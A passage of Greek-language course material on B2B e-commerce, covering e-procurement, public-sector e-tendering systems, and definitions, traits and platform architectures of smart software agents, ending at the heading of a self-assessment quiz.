των συμβάσεων. Η διαχείριση των ενδείξεων είναι η ροή εργασίας που αφορά την προετοιμασία των προσφορών. Αυτό το τμήμα της αλυσίδας αξίας είναι προαιρετικό, με τα επιμέρους τμήματα προμηθειών να καθορίζουν τη δική τους διαδικασία υποβολής προσφορών. Στις προμήθειες έργων, η διοικητική έγκριση και η τεχνική έγκριση λαμβάνονται σε ηλεκτρονική μορφή. Στις προμήθειες αγαθών, η δραστηριότητα δημιουργίας εντυπώσεων πραγματοποιείται ηλεκτρονικά. Το τελικό αποτέλεσμα του σταδίου λαμβάνεται ως εισροή για την έκδοση της ΕΔΕ. Τα στοιχεία των ηλεκτρονικών προμηθειών περιλαμβάνουν το αίτημα παροχής πληροφοριών, το αίτημα υποβολής πρότασης, το αίτημα υποβολής προσφοράς, το RFx (τα τρία προηγούμενα μαζί) και το eRFx (λογισμικό για τη διαχείριση έργων RFx).

Παράλληλα με την αυξανόμενη χρήση των ηλεκτρονικών προμηθειών, προκύπτουν ανάγκες τυποποίησης. Επί του παρόντος, υπάρχει ένα παγκοσμίως ανεπτυγμένο ανοικτό επεκτάσιμο τυποποιημένο πλαίσιο βασισμένο σε γλώσσα σήμανσης, το οποίο βασίζεται σε μια πλούσια κληρονομιά από την εμπειρία των ηλεκτρονικών επιχειρήσεων. Αποτελείται από πέντε επίπεδα - ανταλλαγή μηνυμάτων, μητρώο και αποθετήριο, πρωτόκολλο συνεργασίας, βασικά στοιχεία και επιχειρηματικές διαδικασίες.

Στο δημόσιο τομέα Οι ηλεκτρονικές δημόσιες συμβάσεις στον δημόσιο τομέα αναδύονται διεθνώς. Ως εκ τούτου, πρωτοβουλίες έχουν εφαρμοστεί στο Μπαγκλαντές, τη Μογγολία, την Ουκρανία, την Ινδία, τη Σιγκαπούρη, την Εσθονία, το Ηνωμένο Βασίλειο, τις Ηνωμένες Πολιτείες, τη Μαλαισία, την Ινδονησία, την Αυστραλία, την Ευρωπαϊκή Ένωση. Οι οργανισμοί του δημόσιου τομέα χρησιμοποιούν τις ηλεκτρονικές δημόσιες συμβάσεις για να επιτύχουν οφέλη όπως η αυξημένη αποτελεσματικότητα και η εξοικονόμηση κόστους (ταχύτερα και φθηνότερα) στις δημόσιες συμβάσεις και η βελτιωμένη διαφάνεια (για τη μείωση της διαφθοράς) στις υπηρεσίες προμηθειών. Ο νόμος 590 της τακτικής νομοθετικής συνόδου της Λουιζιάνα του 2008 απαιτεί από τις πολιτικές υποδιαιρέσεις να πρβλέπουν τη λήψη ηλεκτρονικών προσφορών. Τα έργα ηλεκτρονικών προμηθειών αποτελούν συχνά μέρος των γενικότερων προσπαθειών της χώρας για την ηλεκτρονική διακυβέρνηση με στόχο την καλύτερη εξυπηρέτηση των πολιτών και των επιχειρήσεων στην ψηφιακή οικονομία. Για παράδειγμα, το GeBIZ της Σιγκαπούρης υλοποιήθηκε ως ένα από τα προγράμματα στο πλαίσιο του γενικού σχεδίου ηλεκτρονικής διακυβέρνησης. Η G6 για τις δημόσιες συμβάσεις ηγείται της χρήσης μέσων ηλεκτρονικών δημόσιων συμβάσεων στις δημόσιες συμβάσεις. Ένα παράδειγμα επιτυχημένης μεταρρύθμισης παρουσιάζεται από την Ουκρανία Prozorro. Το αποτέλεσμα της συνεργασίας μεταξύ της ουκρανικής κυβέρνησης, του επιχειρηματικού τομέα και της κοινωνίας των πολιτών. Το σύστημα αυτό αναπτύχθηκε από τη διεθνή οργάνωση κατά της διαφθοράς, Transparency International Ukraine, με τη βοήθεια εθελοντών, ΜΚΟ, της επιχειρηματικής κοινότητας και κρατικών φορέων της Ουκρανίας, του ταμείου WNISEF, της EBRD και άλλων εταίρων.

Πλεονεκτήματα και μειονεκτήματα Πλεονεκτήματα Η εφαρμογή ενός συστήματος ηλεκτρονικών προμηθειών ωφελεί όλα τα επίπεδα ενός οργανισμού. Τα συστήματα ηλεκτρονικών προμηθειών προσφέρουν βελτιωμένη ορατότητα και έλεγχο των δαπανών και βοηθούν τους οικονομικούς υπαλλήλους να αντιστοιχίσουν τις αγορές με τις παραγγελίες αγοράς, τις αποδείξεις και τα δελτία εργασίας. Ένα παράδειγμα είναι το "Σύστημα για τη Διαχείριση των Αποκτήσεων (SAM)", το οποίο στις 30 Ιουλίου 2013 συνδύασε πληροφορίες από την πρώην Κεντρική Εγγραφή Αναδόχων και την Ηλεκτρονική Εφαρμογή Εκπροσωπήσεων και Πιστοποιήσεων (ORCA), στις Ηνωμένες Πολιτείες. Στην περίπτωση των κρατικών προμηθειών, τα οφέλη μπορεί να είναι η αποτελεσματικότητα, η διαφάνεια, η ισότητα, η δικαιοσύνη και η ενθάρρυνση των τοπικών επιχειρήσεων. Επειδή οι ηλεκτρονικές δημόσιες συμβάσεις αυξάνουν τον ανταγωνισμό, μειώνουν το κόστος συναλλαγών και έχουν τη δυνατότητα να ελαχιστοποιήσουν τον χρόνο και τα σφάλματα στη διαδικασία υποβολής προσφορών, επιτυγχάνεται αποτελεσματικότητα. Λόγω της ευκολότερης προσβασιμότητας και της ανοικτότητας του διαδικτύου, περισσότεροι άνθρωποι μπορούν να αποκτήσουν νωρίτερα πληροφορίες, γεγονός που αυξάνει τη διαφάνεια. Η ουδετερότητα ως προς τον τόπο και τον χρόνο διασφαλίζει την ισότητα και τη δικαιοσύνη.

Μειονεκτήματα Επειδή ο πωλητής αποκτά περισσότερες πληροφορίες για τον πελάτη από ό,τι στην περίπτωση της κανονικής δομής διαχείρισης της αλυσίδας εφοδιασμού, το σημαντικότερο μειονέκτημα των ηλεκτρονικών προμηθειών μπορεί να είναι το κίνητρο του πωλητή να εκμεταλλευτεί τον πελάτη.

Εκπαιδευτική Υποενότητα 3.4 Smart Agents και Δημοπρασίες Ορισμός, Χαρακτηριστικά, Κατηγοριοποίηση των Smart Agents

Οι ευφυείς πράκτορες (smart) έχουν γίνει τα τελευταία χρόνια ένα δημοφιλές εργαλείο στην ανάπτυξη λογισμικού καθώς χρησιμοποιούνται σε όλο και περισσότερα είδη εφαρμογών. Ήδη σε τομείς όπως είναι η αναζήτηση πληροφοριών στο διαδίκτυο, η υλοποίηση φιλικών διεπαφών και η διαχείριση αλληλογραφίας, η τεχνολογία έξυπνων πρακτόρων έχει εφαρμοστεί με επιτυχία. Από μία άποψη η τεχνολογία πρακτόρων, μπορεί να θεωρηθεί ως επέκταση της αντικειμενοστραφής λογικής, δεδομένου ότι προσπαθεί να διαμορφώσει ένα σύστημα λογισμικού σε ανεξάρτητες ενότητες λογισμικού. Οι πράκτορες λογισμικού προτιμούν να επιλέγουν οι ίδιοι το τι θα κάνουν, το πότε και με ποιον τρόπο και έχουν ένα βαθμό αυτονομίας σε ότι αφορά τις αποφάσεις των ενεργειών τους. Παρά τη μεγάλη δημοτικότητα που ήδη έχουν αποκτήσει οι ευφυείς πράκτορες, στη βιβλιογραφία δεν υπάρχει σαφής και μονοσήμαντος ορισμός της έννοιας “πράκτορας” αλλά ούτε συγκεκριμένη λίστα για τα χαρακτηριστικά που πρέπει να περιλαμβάνει. Μέχρι σήμερα, αντί ενός πλήρους ορισμού, η παγκόσμια επιστημονική κοινότητα έχει καταλήξει ότι η έννοια της αυτονομίας είναι καθοριστική στην θεώρηση ενός πράκτορα. Ένα σημαντικό μέρος της δυσκολίας υιοθέτησης ενός ορισμού για την έννοια του πράκτορα είναι ότι τα διάφορα χαρακτηριστικά συσχετιζόμενα με ένα πράκτορα και την λειτουργία του είναι εντελώς διαφορετικής σημασίας για διαφορετικούς επιστημονικούς τομείς. Στην παγκόσμια ερευνητική βιβλιογραφία θα βρει κανείς πολλούς ορισμούς για την έννοια του πράκτορα. Ενδεικτικά αναφέρω τους ακόλουθους: ❖ Ο Russel [Russel, 1995] ορίζει έναν πράκτορα ως την οντότητα που μπορεί να αντιληφθεί το περιβάλλον της μέσω αισθητήρων και να αντιδράσει πάνω στο περιβάλλον μέσω μηχανισμών αντίδρασης. ❖ Σύμφωνα με τη Maes [Maes, 1995] οι πράκτορες είναι υπολογιστικά συστήματα που δρουν σε ένα πολύπλοκο περιβάλλον, αντιλαμβάνονται και δρουν αυτόνομα πάνω σε αυτό, πετυχαίνοντας με αυτόν τον τρόπο στόχους για τους οποίους έχουν κατασκευαστεί. ❖ Ο Coen [Coen, 1995] ορίζει τους πράκτορες λογισμικού ως προγράμματα που συμμετέχουν σε διαλόγους, διαπραγματεύονται και συντονίζουν τη ροή της πληροφορίας. ❖ Ο Smith [Smith, 1994] ορίζει έναν πράκτορα ως μια επίμονη οντότητα λογισμικού αφιερωμένη σε έναν συγκεκριμένο σκοπό. Ο χαρακτηρισμός "επίμονη" διακρίνει τους πράκτορες από τις υπορουτίνες. Οι πράκτορες έχουν τις δικές τους ιδέες για το πώς να ολοκληρώσουν τις εργασίες, τις δικές τους ατζέντες. Ο "συγκεκριμένος

σκοπός" διακρίνει τους πράκτορες από μεγάλες πολυλειτουργικές εφαρμογές. Οι πράκτορες είναι συνήθως πολύ μικρότεροι σε μέγεθος. ❖ Ο Woolbribge [Wooldridge, 1995] διαχωρίζει δύο θεωρήσεις του όρου «πράκτορα», την ασθενή θεώρηση, και την ισχυρή θεώρηση. Έχοντας ορίσει την έννοια του πράκτορα το επόμενο ερώτημα που γεννιέται είναι τι είναι ο «ευφυής» πράκτορας. Σύμφωνα με τον Wooldridge [Wooldridge, 1995] ευφυής πράκτορας είναι αυτός που έχει την ικανότητα ευέλικτης αυτονομίας δράσης προκειμένου να διεκπεραιώσει τους σκοπούς σχεδίασης του, όπου ευελιξία σημαίνει τρία πράγματα: ❖ Δυνατότητα αντίδρασης (reactivity): οι ευφυείς πράκτορες είναι ικανοί να αντιλαμβάνονται το περιβάλλον και να ανταποκρίνονται με έγκαιρη διαμόρφωση των αλλαγών, που προκύπτουν, προκειμένου να αντεπεξέλθουν στις απαιτήσεις σχεδίασης. ❖ Προνοητικότητα (pro-activeness): οι ευφυείς πράκτορες είναι ικανοί να επιδεικνύουν συμπεριφορά προσανατολισμένη στον σκοπό τους με δικές τους πρωτοβουλίες. ❖ Κοινωνικότητα (social ability): οι ευφυείς πράκτορες είναι ικανοί να επικοινωνούν με άλλους πράκτορες (και πιθανόν ανθρώπους), προκειμένου να φτάσουν στους στόχους τους.

ΧΑΡΑΚΤΗΡΙΣΤΙΚΑ ΠΡΑΚΤΟΡΩΝ Οι περισσότεροι ορισμοί για πράκτορες, όπως ανεφέρθηκαν στην προηγούμενη ενότητα, συσχετίζουν την οντότητα του πράκτορα με ένα ή περισσότερα χαρακτηριστικά που πρέπει να έχει. Στις δύο θεωρήσεις του πράκτορα (ισχυρή και ασθενή θεώρηση) αναφέρονται χαρακτηριστικά όπως η αυτονομία, η κοινωνικότητα, η δυνατότητα μετακίνησης, οι καλές προθέσεις, η δυνατότητα αντίδρασης. Ο Smith εστιάζει στο χαρακτηριστικό της επιμονής ενός πράκτορα ενώ ο Coen στην κοινωνικότητα. Στη παγκόσμια βιβλιογραφία, κάποιος μπορεί να βρει ποικίλες ιδιότητες και ικανότητες για τους πράκτορες. Επίσης βάσει συγκεκριμένων χαρακτηριστικών ή/και συμπεριφορών οι πράκτορες είναι δυνατό να ταξινομηθούν με διάφορους τρόπους σε ιεαραρχίες κατηγοριών. Ο Nwana, ταξινομεί τους πράκτορες βάσει των τριών βασικών χαρακτηριστκών που θεωρεί ότι πρέπει να έχουν όλοι οι πράκτορες: Αυτονομία, Συνεργατικότητα, Δυνατότητες Μάθησης.

Οι Smart Agents στο Β2Β Ηλεκτρονικό Εμπόριο

Σύμφωνα με τον Luck οι εφαρμογές συστημάτων που βασίζονται σε πράκτορες μπορούν να χωριστούν σε τρεις μεγάλες κατηγορίες: Πράκτορες βοηθοί. Είναι οι πράκτορες που ασχολούνται με τη συλλογή πληροφοριών ή την εκτέλεση συναλλαγών στο διαδίκτυο εκ μέρους κάποιου χρήστη. Οι πράκτορες που επιδιώκουν να κάνουν κράτηση σε ξενοδοχεία ή να οργανώσουν ταξίδια για τους εντολείς τους αποτελούν χαρακτηριστικά παραδείγματα αυτής της κατηγορίας. Συστήματα αποφάσεων πολλαπλών πρακτόρων. Οι πράκτορες που συμμετέχουν στο σύστημα πρέπει να λάβουν αποφάσεις από κοινού. Για παράδειγμα, ένα σύστημα πρακτόρων που αντιπροσωπεύει τα διάφορα στοιχεία ενός τηλεπικοινωνιακού δικτύου μπορεί να επιδιώξει από κοινού να κατανείμει τους πόρους σε όλο το δίκτυο, όπως συνδέσεις κλήσεων, και έτσι να διαχειριστεί τη λειτουργία του δικτύου. Ο μηχανισμός κοινής λήψης αποφάσεων που χρησιμοποιείται από τους εμπλεκόμενους πράκτορες μπορεί να είναι ένας οικονομικός μηχανισμός, όπως μια δημοπρασία. Συστήματα προσομοίωσης πολλαπλών πρακτόρων. Το σύστημα πολλαπλών πρακτόρων χρησιμοποιείται ως μοντέλο για την προσομοίωση κάποιου τομέα του πραγματικού κόσμου. Τυπικά, τα μοντέλα πολλαπλών παραγόντων χρησιμοποιούνται για τομείς με πολλά διαφορετικά δομικά συστατικά, που αλληλοεπιδρούν με διάφορους και πολύπλοκους τρόπους και όπου οι ιδιότητες σε επίπεδο συστήματος δεν συνάγονται εύκολα από τις ιδιότητες των συστατικών. Παραδείγματα τέτοιων τομέων περιλαμβάνουν: ανθρώπινες οικονομίες, κοινωνίες ανθρώπων και ζώων, βιολογικούς πληθυσμούς, συστήματα οδικής κυκλοφορίας, δίκτυα υπολογιστών και παιχνίδια. Χωρίς να προσδιορίζεται κάποια κατηγορία, οι πράκτορες λογισμικού εφαρμόζονται σε πολλαπλούς τομείς: κατασκευή, έλεγχος διαδικασιών, διαχείριση επιχειρηματικών διαδικασιών, διαχείριση ανθρώπινου κεφαλαίου, συστήματα τηλεπικοινωνιών, έλεγχος εναέριας κυκλοφορίας, διαχείριση κυκλοφορίας και μεταφορών, φιλτράρισμα και συλλογή πληροφοριών, ηλεκτρονικό εμπόριο, άμυνα, ψυχαγωγία, ιατρική περίθαλψη, διεπαφές ανθρώπου-υπολογιστή, εκπαίδευση. Όπως αντιλαμβάνεται κανείς δεν έχουν απομείνει πολλοί τομείς εφαρμογών στους οποίους δεν έχουν δοκιμαστεί ή εφαρμοστεί η τεχνολογία των πρακτόρων λογισμικού.

ΗΛΕΚΤΡΟΝΙΚΟ ΕΜΠΟΡΙΟ

Το ηλεκτρονικό εμπόριο είναι ένας τομέας που έχει γνωρίσει μεγάλη ανάπτυξη λόγω της δημοτικότητας του διαδικτύου. Οι χρήστες που θέλουν να κάνουν αγορές μέσω ενός τέτοιου συστήματος μπορούν να αναζητήσουν πληροφορίες για τα προϊόντα που τους ενδιαφέρουν, ενώ οι πωλητές μπορούν να αναζητήσουν υποψήφιους αγοραστές για να τους δώσουν πληροφορίες για τα προϊόντα τους. Ένας έξυπνος πράκτορας θα μπορούσε να βοηθήσει τους αγοραστές ψάχνοντας πληροφορίες για προϊόντα και ελέγχοντας τις τιμές, τις προδιαγραφές και γενικά όλα τα χαρακτηριστικά τους. Με βάση αυτά τα στοιχεία ο πράκτορας θα είναι σε θέση να προτείνει την άριστη ή τις άριστες αγορές. Ένας πράκτορας επίσης θα μπορούσε να λειτουργεί για λογαριασμό των πωλητών προτείνοντας υποψήφιους αγοραστές και ακόμα δίνοντας συμβουλές για το προϊόν σε άτομα που το έχουν ήδη αγοράσει. Αυτά όλα είναι σενάρια που όπως φαίνεται δεν απέχουν πολύ από την πραγματικότητα. Το ηλεκτρονικό εμπόριο περιλαμβάνει ένα ευρύ φάσμα θεμάτων όπως είναι η ασφάλεια, εμπιστοσύνη, νομικά πλαίσια, μηχανισμοί πληρωμής, διαφήμιση, κατάλογοι προϊόντων, μεσάζοντες, εμπειρίες αγορών, αξιολόγηση κ.α. Όλα αυτά αποτελούν ένα πλούσιο πεδίο εφαρμογής για τις τεχνολογίες ευφυών πρακτόρων. Σύμφωνα με τον [Guttman, 1998] είναι χρήσιμο να διερευνηθούν οι ρόλοι των πρακτόρων ως διαμεσολαβητών στο ηλεκτρονικό εμπόριο στο πλαίσιο ενός κοινού μοντέλου. Σύμφωνα με αυτό το μοντέλο έξι θεμελιώδη στάδια καθοδηγούν την αγοραστική συμπεριφορά των καταναλωτών: 1. Αναγνώριση ανάγκης: Σε αυτό το στάδιο ο καταναλωτής συνειδητοποιεί κάποια ανάγκη που έχει. 2. Προϊοντική διαμεσολάβηση. Αυτό το στάδιο περιλαμβάνει την ανάκτηση πληροφοριών που θα καθορίσει τι θα αγοράσει ο καταναλωτής. Αυτό περιλαμβάνει την αξιολόγηση εναλλακτικών προϊόντων βάσει κριτηρίων που παρέχονται από τον καταναλωτή. 3. Εμπορική διαμεσολάβηση. Αυτό το στάδιο συνδυάζει το "σύνολο θεώρησης" από το προηγούμενο στάδιο με εμπορικές πληροφορίες που θα βοηθήσουν τον καταναλωτή να επιλέξει συγκεκριμένο έμπορο. Αυτό περιλαμβάνει την αξιολόγηση των εναλλακτικών λύσεων βάσει κριτηρίων που παρέχονται από τον καταναλωτή (π.χ. τιμή, εγγύηση, διαθεσιμότητα, χρόνος παράδοσης, φήμη κτλ.). 4. Διαπραγμάτευση. Αυτό το στάδιο αφορά τον τρόπο καθορισμού των όρων της συναλλαγής. Η διαδικασία της διαπραγμάτευσης μπορεί να ποικίλει σε διάρκεια και σε πολυπλοκότητα ανάλογα με το είδος της αγοράς.

5. Αγορά και παράδοση. Η αγορά και η παράδοση ενός προϊόντος μπορεί είτε να σηματοδοτούν τον τερματισμό του σταδίου των διαπραγματεύσεων ή λαμβάνουν χώρα κάποια στιγμή μετά. 6. Εξυπηρέτηση και αξιολόγηση. Αυτό το στάδιο περιλαμβάνει την εξυπηρέτηση του προϊόντος, την εξυπηρέτηση του πελάτη και την αξιολόγηση της συνολικής εμπειρίας αγοράς. Τα χαρακτηστικά των πρακτόρων όπως είναι η εξατομίκευση, η αυτονομία, η συνέχεια στην εκτέλεση, τους καθιστούν ως μία ικανή και πολλά υποσχόμενη τεχνολογία για την παροχή υπηρεσιών

μεσολάβησης

στα

πλαίσια

των

αγοραστικών

συμπεριφορών

που

προαναφέρθηκαν. Τέτοιες υπηρεσίες περιλαμβάνουν την ανάκτηση και το φιλτράρισμα πληροφοριών, εξατομικευμένες αξιολογήσεις, σύνθετους συντονισμούς, συναλλαγές με χρονικά πλαίσια κ.α.

Πλατφόρμες Β2Β Ηλεκτρονικού Εμπορίου Ειδική αναφορά έγινε στις πλατφόρμες πλατφόρμων και στις αντίστοιχες υλοποιήσεις. Όπως έχει ήδη αναφερθεί μία πλατφόρμα πρακτόρων είναι μια υποδομή λογισμικού που χρησιμοποιείται ως περιβάλλον για την δημιουργία και την εκτέλεση των πρακτόρων. Οι πλατφόρμες πρακτόρων περιλαμβάνουν συνήθως ένα σύνολο από χαρακτηριστικά. Στη συνέχεια παρουσιάζονται αυτά τα χαρακτηριστικά με σκοπό 96 να εξεταστεί κατά πόσο μία πλατφόρμα πρακτόρων είναι ικανή να φιλοξενήσει εφαρμογές ηλεκτρονικού εμπορίου που ανταποκρίνονται στις προκλήσεις του διεθνοποιημένου εμπορίου.

ΔΙΑΧΕΙΡΙΣΗ Κάθε πλατφόρμα πρακτόρων πρέπει να είναι σε θέση να γνωρίζει όλους τους πράκτορες που φιλοξενούνται μία δεδομένη στιγμή σε αυτή, αφ' ενός για εξωτερικούς λόγους διαχείρισης και αφ' ετέρου προκειμένου να μπορούν να ενημερωθούν οι πράκτορες για τους υπόλοιπους πράκτορες που φιλοξενούνται στην πλατφόρμα. Δύο είδη υπηρεσιών εγγραφής αναπτύσσονται για να το επιτύχουν αυτό. Το πρώτο είδος παρέχει τον κατάλογο(yellow pages) σε άλλους πράκτορες. Οι πράκτορες μπορούν να εγγράψουν τις υπηρεσίες τους ή να ρωτήσουν την πλατφόρμα για να ανακαλύψουν τις υπηρεσίες που προσφέρονται από άλλους πράκτορες. Το δεύτερο είδος διατηρεί ένα κατάλογο, ο οποίος περιέχει τις ηλεκτρονικές

διευθύνσεις για όλους τους πράκτορες που φιλοξενούνται στην πλατφόρμα. Αυτές οι δύο υπηρεσίες αποτελούν το λογικό πρότυπο αναφοράς για τη δημιουργία, την εγγραφή, τη θέση, την επικοινωνία, τη μετανάστευση και την αποχώρηση των πρακτόρων. ΚΙΝΗΤΙΚΟΤΗΤΑ Η χαρακτηριστικό της κινητικότητας σε μια πλατφόρμα πρακτόρων επιτρέπει σε έναν πράκτορα να μεταναστεύσει στις πλατφόρμες άλλων πρακτόρων. Η κινητικότητα είναι σαφώς ένα από τα πιο ελπιδοφόρα χαρακτηριστικά γνωρίσματα της τεχνολογίας πρακτόρων. Συσχετίζεται κυρίως με τη κατανεμημένη επεξεργασία και υπάρχει ένας μεγάλος αριθμός πιθανών εφαρμογών που μπορεί να εφαρμοστεί.

ΑΣΦΑΛΕΙΑ Η ασφάλεια είναι ένα πολύ κρίσιμο ζήτημα για τις περισσότερες εφαρμογές και είναι ακόμα δυσκολότερο να αντιμετωπιστεί στην περίπτωση μιας πλατφόρμας κινητών πρακτόρων. Εκτελώντας διαδικασίες με τη χρήση των κινητών πρακτόρων υπονοείται ότι ο κινητός πράκτορας κατοικεί μέσα στην απομακρυσμένη πλατφόρμα. Αυτό επιτρέπει την πρόσβαση σε δεδομένα που δεν είναι προσπελάσιμα από το διαδίκτυο, για τους γνωστούς λόγους ασφάλειας, και επομένως μπορούν να μην είναι κατάλληλα προφυλαγμένα. Δεδομένου ότι η πλατφόρμα είναι ανοικτή στο διαδίκτυο, οι πράκτορες είναι επίσης τρωτοί στις επιθέσεις κατά τη διάρκεια της μεταφοράς τους από μια πλατφόρμα σε μία άλλη. Μια πλατφόρμα πρακτόρων πρέπει να είναι σε θέση να επικυρώσει όλα τα συμβαλλόμενα μέρη με τα οποία επικοινωνεί και να περιέχει τους κατάλληλους μηχανισμούς προστασίας των δεδομένων έτσι ώστε κανένας ‘κακόβουλος πράκτορας` να μην απειλεί τα δεδομένα. Η χρήση των ψηφιακών υπογραφών είναι ένας κοινός τρόπος να λυθεί το πρόβλημα επικύρωσης. Μια άλλη σημαντική πτυχή είναι η απώλεια εμπιστευτικών πληροφοριών. Τα μηνύματα μεταξύ των συμβαλλόμενων μερών πρέπει να κρυπτογραφούνται διότι μπορούν να περιέχουν και εμπιστευτικές πληροφορίες π.χ. πληροφορίες πιστωτικών καρτών.

ΔΙΑΤΗΡΗΣΗ ΚΑΤΑΣΤΑΣΗΣ Η διατήρηση κατάστασης (persistence) είναι ένα σημαντικό θέμα στον τομέα των κατανεμημένων εφαρμογών. Τα δεδομένα στέλνονται από έναν υπολογιστή σε άλλο και

έχουν συχνά μια εκτεταμένη διάρκεια ζωής. Αυτό ισχύει ιδιαίτερα στην περίπτωση των κινητών πρακτόρων. Τα ακόλουθα ανεπιθύμητα σενάρια πρέπει να ληφθούν υπόψη: ❖ Η μετάδοση αποτυγχάνει ενώ ένας πράκτορας κινείται από μια πλατφόρμα προς μια άλλη έτσι ώστε ο πράκτορας να μη φθάσει ποτέ στον προορισμό του. ❖ Ένας πράκτορας κατοικεί μέσα σε μια πλατφόρμα της οποίας το υπολογιστικό σύστημα διακόπτεται απροσδόκητα. ❖ Υπάρχουν πολλοί πράκτορες που κατοικούν μέσα σε ένα σύστημα. Οι περισσότεροι από αυτούς δεν εκτελούν κάποια διαδικασία απλά περιμένουν κάποιο εξωτερικό γεγονός σπαταλώντας πόρους του συστήματος. Επομένως, το σύστημα θα μπορούσε να ξεμείνει από πόρους (ειδικά μνήμη) εάν περισσότεροι πράκτορες θέλουν να μεταναστεύσουν στη συγκεκριμένη πλατφόρμα.

ΕΠΙΚΟΙΝΩΝΙΑ Ένα σύνολο από γλώσσες επικοινωνίας έχουν αναπτυχθεί με σκοπό να επιτρέψουν στους πράκτορες επικοινωνήσουν μεταξύ τους. Μια γλώσσα επικοινωνίας πρακτόρων είναι βασισμένη στα δακτυλογραφημένα μηνύματα. Πρέπει να περιέχει τους τύπους μηνυμάτων που αντιπροσωπεύουν τις πιο βασικές πράξεις επικοινωνίας όπως είναι η παροχή νέων πληροφοριών, η απάντηση σε ερωτήσεις, η απαίτηση για την πραγματοποίηση ορισμένων ενεργειών. Σε αντίθεση με τα οριζόμενα από την εφαρμογή μηνύματα στον αντικειμενοστραφή προγραμματισμό, οι τύποι μηνυμάτων των γλωσσών επικοινωνίας των πρακτόρων παρέχουν ένα πιο αφηρημένο επίπεδο που μπορεί να αντιμετωπιστεί σύμφωνα με μια γενική σημασιολογία της επικοινωνίας. Τέτοια σημασιολογία είναι βασισμένη στη φιλοσοφική θεωρία φιλοσοφική θεωρία λεκτικών πράξεων (speech act theory).

ΠΡΟΤΥΠΑ Αυτό το χαρακτηριστικό υπονοεί ότι ένας πράκτορας ή ένα σύστημα πρακτόρων υλοποιείται βασισμένο πλήρως ή μερικώς σε πρότυπα. Υπάρχουν τρεις κύριες προσπάθειες εν εξελίξει για την τυποποίηση των συστημάτων πρακτόρων. Αυτές είναι οι προδιαγραφές FIPA, η KQML και το MASIF από την OMG.

Οφέλη από τη Χρήση των Smart Agents

Σε μια απλουστευμένη μορφή, μπορούμε να διακρίνουμε μεταξύ δύο βασικών ρόλων πρακτόρων στην περιοχή του ηλεκτρονικού εμπορίου, του Πωλητή και του Αγοραστή. Εντούτοις σε μια πιο λεπτομερή ανάλυση θα μπορούσαμε να εισαγάγουμε περισσότερους ρόλους και αντίστοιχα πράκτορες όπως ο Μεσολαβητής, ο Διαπραγματευτής, ο Αξιολογητής κ.α. Στη συνέχεια παρουσιάζονται τρεις πιθανές αρχιτεκτονικές ηλεκτρονικού εμπορίου που εκμεταλλεύονται αυτούς τους ρόλους πρακτόρων και χρησιμοποιούν τις πλατφόρμες πρακτόρων. H αρχιτεκτονική που χρησιμοποιήθηκε στο πρόγραμμα MEMPHIS. Στη συγκεκριμένη αρχιτεκτονική η Ηλεκτρονικής Αγορά και κάθε Προμηθευτής διαθέτουν τη δική τους πρατφόρμα πρακτόρων. Ο χρήστης εισάγεται στο διαδίκτυο και πλοηγείται στην Ηλεκτρονική Αγορά. Ένας πράκτορας Αγοραστής δημιουργείται εξ ονόματος του χρήστη στην πλατφόρμα της Ηλεκτρονικής Αγοράς. Ο πράκτορας αγοραστής είναι σε θέση να έρθει σε επαφή (ή να μεταναστεύσει) με τις πλατφόρμες των προμηθευτών σύμφωνα με το αίτημα του χρήστη. Οι αντίστοιχοι πράκτορες Πωλητές αναπτύσσονται στην πλατφόρμα κάθε προμηθευτή και έχουν τοπική πρόσβαση στις βάσεις δεδομένων των προμηθευτών. Η αρχιτεκτονική που χρησιμοποιήθηκε στα πλαίσια του προγράμματος MKBEEM [Leger, 2001]. Εδώ υπάρχει μία πλατφόρμα πρακτόρων, αυτή της Ηλεκτρονικής Αγοράς. Σε αυτό το μοντέλο οι πράκτορες Πωλητές, που δημιουργούνται εξ’ ονόματος κάθε προμηθευτή εισάγονται στην Ηλεκτρονική Αγορά και παραμένουν στην πλατφόρμα κατά τη διάρκεια του κύκλου ζωής τους. Όταν ο χρήστης προσπελάζει την αγορά μέσω του διαδικτύου και ζητά μια υπηρεσία, ο πράκτορας Αγοραστής επικοινωνεί με τους αντίστοιχους πράκτορες Πωλητών για την ανάκτηση της ζητούμενη υπηρεσίας. Ο πράκτορας Πωλητής έρχεται σε επαφή με τη βάση δεδομένων του προμηθευτή για να παρέχει τις λεπτομέρειες των υπηρεσιών, την τιμή, τη διαθεσιμότητα κλπ. Το μειονέκτημα αυτής της αρχιτεκτονικής είναι η εξ' αποστάσεως πρόσβαση στις βάσεις δεδομένων του προμηθευτή, η οποία επηρεάζει αρνητικά την απόδοση και την ταχύτητα της αναζήτησης. Το πλεονέκτημα, από την άλλη, είναι η έλλειψη μετανάστευσης πρακτόρων, η οποία καθιστά τις πολιτικές ασφάλειας ευκολότερο να εφαρμόσουν, καθώς μόνο τα δεδομένα των υπηρεσιών και όχι ο κώδικας μεταφέρονται μέσα από το διαδίκτυο. Στην τρίτη αρχιτεκτονική κάθε προμηθευτής έχει εγκατεστημένη την πλατφόρμα πρακτόρων όπου ζουν και αναπτύσσονται οι πράκτορες Πωλητές. Ο χρήστης πρέπει επίσης να εγκαταστήσει τοπικά μια πλατφόρμα πρακτόρων καθώς επίσης και το λογισμικό των πρακτόρων Αγοραστών. Αυτή η αρχιτεκτονική δεν απαιτεί την ύπαρξη ενός κεντρικού σημείου πρόσβασης (πλατφόρμα πρακτόρων Ηλεκτρονικής Αγοράς). Το μειονέκτημα αυτής της αρχιτεκτονικής είναι ότι ο πράκτορας Αγοραστής πρέπει να είναι συμβατός (έχει τη

δυνατότητα να μεταναστεύσει) με τις πλατφόρμες όλων των προμηθευτών και όταν αναβαθμίζεται η έκδοση ενός πράκτορα Αγοραστή όλοι οι χρήστες πρέπει να επανεγκαταστήσουν την ενημερωμένη έκδοση.

Σύνοψη Εκπαιδευτικής Ενότητας 3 Στην ενότητα 3, παρουσιάστηκαν αντικείμενα: Βασικά Χαρακτηριστικά Β2Β Βασικά Στοιχεία Β2Β Ιστορική Αναδρομή Β2Β Κυριότερες Εφαρμογές Β2Β Στόχοι Β2Β Ηλεκτρονικού Εμπορίου Χρησιμότητα, χαρακτηριστικά και Πλεονεκτήματα του Β2Β Ηλεκτρονικού Εμπορίου Έρευνα αγοράς Όνομα Ηλεκτρονικού Καταστήματος Το Εικαστικό Κομμάτι Του Σχεδιασμού Εύκολα Εργαλεία Πλοήγησης Ηλεκτρονικός Κατάλογος Προίοντων

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 3 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

